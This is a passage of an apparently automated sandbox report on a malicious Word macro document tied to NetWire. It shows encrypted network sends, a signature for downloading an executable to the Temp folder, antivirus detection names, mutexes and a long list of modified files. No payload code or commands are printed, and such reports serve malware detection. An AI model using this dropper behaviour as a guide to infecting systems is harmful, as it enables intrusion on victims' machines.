  761. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010q\\xbf\\x8b\\xf0$\\x01\\xeflu\\x10r\\xcac\\x98\\xc7\\x92(\\xcc5\\xbe\\xe6\t\\x1d\\xfd\\x1f\\x1a\\x0c\\xd0sy\\xfe.\\xeccu\\xbc\\xee\\xe6\\xef\\x12i^\n5\\xe6$\\x16\\x81\\xb0\\x13\\xf01w\\x96:k\\xaf\\xb3\\xe1k9\\x01t9n\\xa6\\x13n\\xfd\\xfb\\xbc\\xd7\\xd3h\\xee\\xd8\\xda\\xb7\\x0c.\\x84\\xb7\\xca-\\xf2#\\x06\\xbc\\xdb\\x02\\x9c\\xfc\\xf7\\xaf\\xce\\xc9\\x97\\xef\\xdb\\x00\\xd2\\xd2f\\xb6;\"\\xfca\\xfb\t\t\\xdf\\xcfr\\xc46\\xad\\xc3\\xc3\\x8e\\x0e\\xa8r\\xa3ativ\\x11\\xe0\\x13\\x91\\x89\\xae\\xba\\xc8\\xf0\\xfey\\x88\\xfe\\x14\\x88\\xa6!\\xc39\\xbf\\x87\\x11\\x00\\xec\\x8fu\\x83\\xbc\\xb4\\xc0\\xa2\\x8e\\xda\\x83qbk1g\\x18\\xc4=\\xb4`\\xfdg(d\\x97\\x19\\xf2\\x92\\xf1\\x9e\\x1e`|c\r\\xcb\\xccz\\xe7\\x9f\\xc6p\\xe1z\\xa7\t\\\\x8a\\xbd\\xf6k\\xab\\x17>\\xc2d\\xf0\\xbevjd.\\xa3\\x96\\xeehxl\\xd5\\x80\\xec\\xa1\\xf0\\xb5f\\x1a\\x14\\xf8s\t\\x94q\\x93\\xfe\"\\xfa\\xe7\\x0e~ak\\x13\\xc4"
  762.  
  763.  
  764. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\r\\xcc\\xec\\x91\\x07\\x0ejb^\\x9e\\x99\\x9e\\xbes?\\xed~\\xf7\\xfd\\xa5`j3\\x01\\x1a\\xc2\\xff\\xa3\\xc0/;@l\\xcd\\x85y\\xc0\\xb5\\xeep\\xc2x\\xfa7@\\x19\\xdb\\xf6;\\xa6\"\\xafs\n\\x0bu\\xdf\\xc4\\xd1\\xb9br\\xd6\\xa7\\xff\\xd2o-\\xc0\\xe7\\xd4n\\xe3\\xd8\\x11i\\xf32*\\xa1\\xd4\\x95\\xc61/j\\xe2l@\\xa2\\x93\\x00\\x7f\\xad\\xe0\\xc2\\xf2\\xc6<\\xed\\x8c\\xcf\\x0b\\xc6\\xfar\\x89\\xa2o\\x85\\x950u\\x9a\\xb3@w\\x01\\xbe\\xbb\\x92\\x03\\x08\\xa2\\x8d\\xe4\\xde\\xdfe\\x01\\xd8\\x7f\\xe2\\xf5\\x8a\\xdf\\xdc\\x80z\\xa5\\xa7\\xf0\\xc7\\xb6$)\\xdd\\xb5\\xa5\\xd0g\\xee\\xcb\\xbai\\xae\\x1e\\xaf\\x83\\xb4n\\x9ag&\\xc8\\xc4#\\xe0l\\xf5wz\\xc0\\xace;\\x10\\xe4\\x08=&\\xbau\rjrzv\\xa4\\xe5ey\\xde\\xda\\x9d\\x90\\xdew\\xf0)m\\xf7ew\\xfa:\\xc8\\x0e0\\xf6\\xc8\\x9d\\xf4\\xd1\"\\x05\\xecf\n\\xa2\\xd7c\\xcd\\x13\\xbb\\x8d\\xef\\x8c\\x8a~'fo\\x8a\\xe6\\xb0b'\\x08\\xb8\\xfd\\xa6\\xd7\\xd0"
  765.  
  766.  
  767. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010-\\xf4\\xc5\\x16\\xe7~\\x93\\xb8\\xadx\\x12\\xb0y\\xfb\\x99\\x92\\xc6y\\xcf\\x06\\x7fc\\xed.dc\\x10\\x8f\\xbd\\xf0\\xf2\\x8d\"d\\xbf`\\x8b\\x15\\xfe\\xedr:\\xaa+b'*v\\x86\\xffdjj\\x9b\\x03g\\xb4\\x9dbw2@\\xbd\\x82\\x0f\\xd7\\xa5\\xe0\\xb1\\x87\\xb9;\\xc9\\x15\\xac|*=j\\x16v\\xb3\\x84\\xe8\\xf9l\\xcd\\x9c\\xe9\\xf0\\xef\\x07\\xd4z\\xf6\\x18\\x10\\x11\\xd4\\xafp\\xed\\xf5\\xd5\\xdf\\xfc!?zc\\x9b\\xbfd\\xb2\\x93\\xa3n\\xa5\\xd9\\x90\\xad\\x0e\\xd7i\\xb3\\xea\\x85o\\xbd\\x94^\\x98l\\x8bz0\\xe1+\\xe8\\x14\\x07\\xfa7\\xech\\xb3\\x82\\xc9\\x80\\xa6$\\x88\\xdef\\x03\\x8c6!\\xf2t\\xeb\\xe4`k\\xfa\\x81\\x17\\xe0+\\xdc\\x1e,\\xa1y\\x0ew2`\\xd3\\xcbbb\\x82w\\xcf\\x0c\\xc7s\\xc5\\x95z\\xbe\\x81\\xb0\\xe5|\\xcbh\\xfe\\xe6\\x92&\\xbe\\xd6v^1\\x9d\\xde:e\\xc9&\\xe0\\xecm\\xa4 \\x80>'\\xf7\\xb2\\x9b\\xcb\\xd4\\xcf\\xeb\\xbc\\xd4\\xc2n\\xa5\\x8f\\x0c\\x9a\\xec\\x0c\\x8b\\xeb\\xabw\\x10p"
  768.  
  769.  
  770. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdai\\xc3\\xe8\\x83k\\xc7p\\x84\\x9e91\\xfb\\xef\\x10\\xe0\\xa30\\xca\\xab\\x04\\xdd\\xe0\\x93\\xb1m\\xbe\\x82\\x11\\xa1j\\xdb\\xb9a\\x85=\\x82=\\xda\\x9f\\x94m\\x04\\x07e@\\xeb\\xa6q5\\xef\\xb5\\x9b\\xf0<5\\x83\\xff\\x1cu\\\\xa0\\xb5\\xc3b\\xd9\\x8dx\\xdb\\x1f\\x9d\\xb3i\\xc1i\\x80\\x95\\xe7\\xbch\\xcc:\\x92\\xf2\\xf5\\xb3|\\x91\\xa5c\\xaa\\xb6\\x854y\\x9e\\xfcu\\x93\\xdb\\x19\\xf5\\xd7\\xf7\\x10\\x87.\\xb8\\x90\\xde^\\xf7\\xe0\\xa0?\\x88z\\xf1\\xc3\\x892#\\x93\\xe2\\x1d\\xeb\\x17\\xa51e'sq\\xe8\\xe3\\xba\\x14f\\xb0\\xf2\\xc4^\\x16 \\x04\\xb9ta\\x81\\xf2\\xef\\xf6\\xd2 b|\\x91\\x0b)\\xf1\\xfdx*\\xe8\\xf4\\x84c\\xb6(\\x856\\xefy>\\xfe\\x19\\xb3\\x0f(\\xca-\\xc1\\x1a1\\x8e(\\xb5\\x07\\x04\\x8eg\\x80\\xb1s\\x87ebina2\\x95\\x0b\\x7f\\x0e<\\x93\\x11\\x80z\\xc0\\xa9\\xad$\\x1ek\\xeb\\x1d\\x17\\x86\\x93-\\xb6\\xaa,'\\x10\\xa5m\\x18`nw\\xa7\\xde\\xcb\\xe0\\xdd\\xcd\\xd2\\xb3\\xfd\\xda\\xe8h\\xe6"
  771.  
  772.  
  773. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010`\\xbax\\x83 \\x87\\xc3\\xb4\\xb0\\x83\\x83\\x93\\xa1\\xb1\\xfe\\xe3\\xf6tc\\xb6\\x80\\xeb\\x86\\x88\\x8e\\xfcg(49\\xe0\\xb9\\x0b`\\x1c\\xf3\\x81c\\xb1\\xbb\\x8c\\x99*\\x8f\\xce\\xff\\xf9\\xdfl\\xdf\\x12\\xb4\\x95c\\xa2\\xf6\\xd9\\x14\\xb1\\xa1\\xcb>\\xd7\\x91?\\x13\\xf0\\xfcwi\\xa7\\xa6r\\xeb\\xcb\\x1c\\xd5\\xdf_\\xd3-j\\xc5\\xcf_6\\xbb@\\xde\\xd4\\xa1\\xe5c\\xd7_pf\\x00\\x19\\x9d\\xf9\\x14a!z7\\xdb\\x8b\\xc7\\xc0+\\x94\\x010hfz\\xada\\xc5\\x97jmd\\xa2\\x05cr\\xa5\\x93\\xe4\\xd5\\x85q\r\\x8e\\x1d\\xcc\\xaa\\x8f\\x840\\x15\\x8f\\xd8^\\xf2\\xd7\\xd0\\xfbu\\x03\\xd0\\x01\\xce\\xa3g\\xc9\\xff\\x01\\x0c@k^\\xd5\\xe3\\x0f`\\x810\\xce\t\\x8c\\xf5s\\xe7q\\xdbne\\x01\\xf5\\xc8\\x18v\\xf3ic\\xd4\\xd5\\xa8\\xd6\n\\xd6\\x1e\\xf7rx\\xd4\\xa3\\x1e\\x93\\xd9v\\x8e\\xd8i\\x9e\\xbe=\\xabo\\xaa\\x12\\xd25\\x8e\\x94\\xbefw\\x82\\x8ddb\\x9d13\\xd8\\xed\\xb5\\xc0#\\x18%\\x8cc\\xc5\\xf9i\\xdf\\xa5\\xa1\\xaaf\\xba"
  774.  
  775.  
  776. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  777.  
  778.  
  779. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: wed, 22 may 2019 05:00:43 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  780.  
  781.  
  782.  
  783.  
  784. "Description": "Likely Malicious Office Document DL/Write EXE to disk",
  785. "Details":
  786.  
  787. "office_dl_write_exe": "winword.exe_URLDownloadToFileW_c:\\users\\user\\appdata\\local\\temp\\ksoyeyt.exe"
  788.  
  789.  
  790.  
  791.  
  792. "Description": "File has been identified by 14 Antiviruses on VirusTotal as malicious",
  793. "Details":
  794.  
  795. "CAT-QuickHeal": "W97M.Downloader.34999"
  796.  
  797.  
  798. "K7AntiVirus": "Trojan ( 00536d111 )"
  799.  
  800.  
  801. "K7GW": "Trojan ( 00536d111 )"
  802.  
  803.  
  804. "Symantec": "ISB.Downloader!gen255"
  805.  
  806.  
  807. "Avast": "SNH:Script Dropper"
  808.  
  809.  
  810. "Jiangmin": "Trojan.MSOffice.SAgent.a"
  811.  
  812.  
  813. "Arcabit": "HEUR.VBA.Trojan.d"
  814.  
  815.  
  816. "TACHYON": "Suspicious/W97M.Obfus.Gen.4"
  817.  
  818.  
  819. "AhnLab-V3": "VBA/Downloader.S25"
  820.  
  821.  
  822. "Zoner": "Probably W97ShellA"
  823.  
  824.  
  825. "Rising": "Downloader.Agent!1.B942 (CLASSIC)"
  826.  
  827.  
  828. "SentinelOne": "DFI - Malicious OLE"
  829.  
  830.  
  831. "AVG": "SNH:Script Dropper"
  832.  
  833.  
  834. "Qihoo-360": "virus.office.obfuscated.1"
  835.  
  836.  
  837.  
  838.  
  839. "Description": "The office file has a macro.",
  840. "Details":
  841.  
  842. "content": "The file appears to have no content."
  843.  
  844.  
  845.  
  846.  
  847.  
  848. * Started Service:
  849. "osppsvc"
  850.  
  851.  
  852. * Mutexes:
  853. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  854. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  855. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  856. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  857. "CicLoadWinStaWinSta0",
  858. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  859. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  860. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  861. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53"
  862.  
  863.  
  864. * Modified Files:
  865. "C:\\Users\\user\\AppData\\Local\\Temp\\NetWire_1ee421cb362da59e3b4fe64ddbe9c4b7.doc",
  866. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFC7492FBC73C947B0.TMP",
  867. "C:\\Users\\user\\AppData\\Local\\Temp\\~$tWire_1ee421cb362da59e3b4fe64ddbe9c4b7.doc",
  868. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS4E63DC68-4CC1-432E-944A-D9457E43F538.tmp",
  869. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS5C040821-1A7E-4F13-86F8-EC0CBDAFAF5F.tmp",
  870. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  871. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF6C6196CB-726C-46E6-9632-BABA0A5FC26E.tmp",
  872. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  873. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  874. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  875. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  876. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab7428.tmp",
  877. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar7429.tmp",
  878. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  879. "C:\\Users\\user\\AppData\\Local\\Temp\\cab97A0.tmp",
  880. "C:\\Users\\user\\AppData\\Local\\Temp\\cab97C1.tmp",
  881. "C:\\Users\\user\\AppData\\Local\\Temp\\cab97C2.tmp",
  882. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9811.tmp",
  883. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9812.tmp",
  884. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98EE.tmp",
  885. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98EF.tmp",
  886. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98FF.tmp",
  887. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9950.tmp",
  888. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9900.tmp",
  889. "C:\\Users\\user\\AppData\\Local\\Temp\\cab994F.tmp",
  890. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9962.tmp",
  891. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9961.tmp",
  892. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9973.tmp",
  893. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9993.tmp",
  894. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99D3.tmp",
  895. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99C3.tmp",
  896. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99F4.tmp",
  897. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AC0.tmp",
  898. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AE0.tmp",
  899. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B2F.tmp",
  900. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B8E.tmp",
  901. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B8F.tmp",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9CE8.tmp",
  903. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  904. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9D75.tmp",
  906. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9DA5.tmp",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DB6.tmp",
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DB7.tmp",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DC7.tmp",
  910. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  911. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DC8.tmp",
  912. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  913. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  914. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E87.tmp",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E56.tmp\\VaryingWidthList.glox",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E67.tmp\\content.inf",
  917. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E67.tmp\\Frame.thmx",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E56.tmp\\Content.inf",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA8.tmp\\TabList.glox",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA7.tmp\\sist02.xsl",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA8.tmp\\Content.inf",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA7.tmp\\Content.inf",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9F65.tmp",
  924. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9F78.tmp",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9F66.tmp",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9F67.tmp",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9F98.tmp",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9F77.tmp",
  929. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA017.tmp\\pictureorgchart.glox",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE8.tmp\\TabbedArc.glox",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA018.tmp\\gb.xsl",
  933. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA017.tmp\\Content.inf",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA018.tmp\\Content.inf",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE8.tmp\\Content.inf",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA087.tmp\\turabian.xsl",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA114.tmp\\InterconnectedBlockProcess.glox",
  939. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA114.tmp\\Content.inf",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA193.tmp",
  942. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA087.tmp\\Content.inf",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA194.tmp\\ThemePictureAlternatingAccent.glox",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA173.tmp\\chicago.xsl",
  946. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B5.tmp\\RadialPictureList.glox",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA194.tmp\\Content.inf",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1F6.tmp\\ThemePictureGrid.glox",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA236.tmp",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E6.tmp\\Equations.dotx",
  952. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1F6.tmp\\Content.inf",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B5.tmp\\Content.inf",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1D5.tmp\\APASixthEditionOfficeOnline.xsl",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA295.tmp",
  957. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  958. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA2A6.tmp",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E6.tmp\\Content.inf",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA173.tmp\\Content.inf",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA285.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA285.tmp\\Content.inf",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1D5.tmp\\Content.inf",
  965. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA393.tmp",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA392.tmp",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA363.tmp\\HexagonRadial.glox",
  969. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  970. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3B5.tmp\\harvardanglia2008officeonline.xsl",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA363.tmp\\Content.inf",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA3A4.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3F4.tmp\\ieee2006officeonline.xsl",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3B5.tmp\\Content.inf",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA434.tmp\\ConvergingText.glox",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA473.tmp",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA434.tmp\\Content.inf",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3F4.tmp\\Content.inf",
  980. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA484.tmp",
  982. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA560.tmp\\Basis.thmx",
  984. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA59F.tmp",
  986. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA5A0.tmp",
  988. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5B1.tmp\\content.inf",
  990. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA560.tmp\\content.inf",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5B1.tmp\\Dividend.thmx",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA61F.tmp\\CircleProcess.glox",
  994. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA61F.tmp\\Content.inf",
  996. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA66E.tmp\\Banded.thmx",
  998. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6DD.tmp\\iso690nmerical.xsl",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA66E.tmp\\content.inf",
  1001. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1002. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6DD.tmp\\Content.inf",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp\\gosttitle.xsl",
  1005. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp\\Content.inf",
  1007. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  1008. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  1009. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA828.tmp",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA829.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA849.tmp\\architecture.glox",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA849.tmp\\Content.inf",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA85A.tmp\\Crop.thmx",
  1015. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1016. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA8E7.tmp",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA936.tmp\\content.inf",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA936.tmp\\Parallax.thmx",
  1020. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\cabACA2.tmp",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\CabACE2.tmp",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TarACE3.tmp",
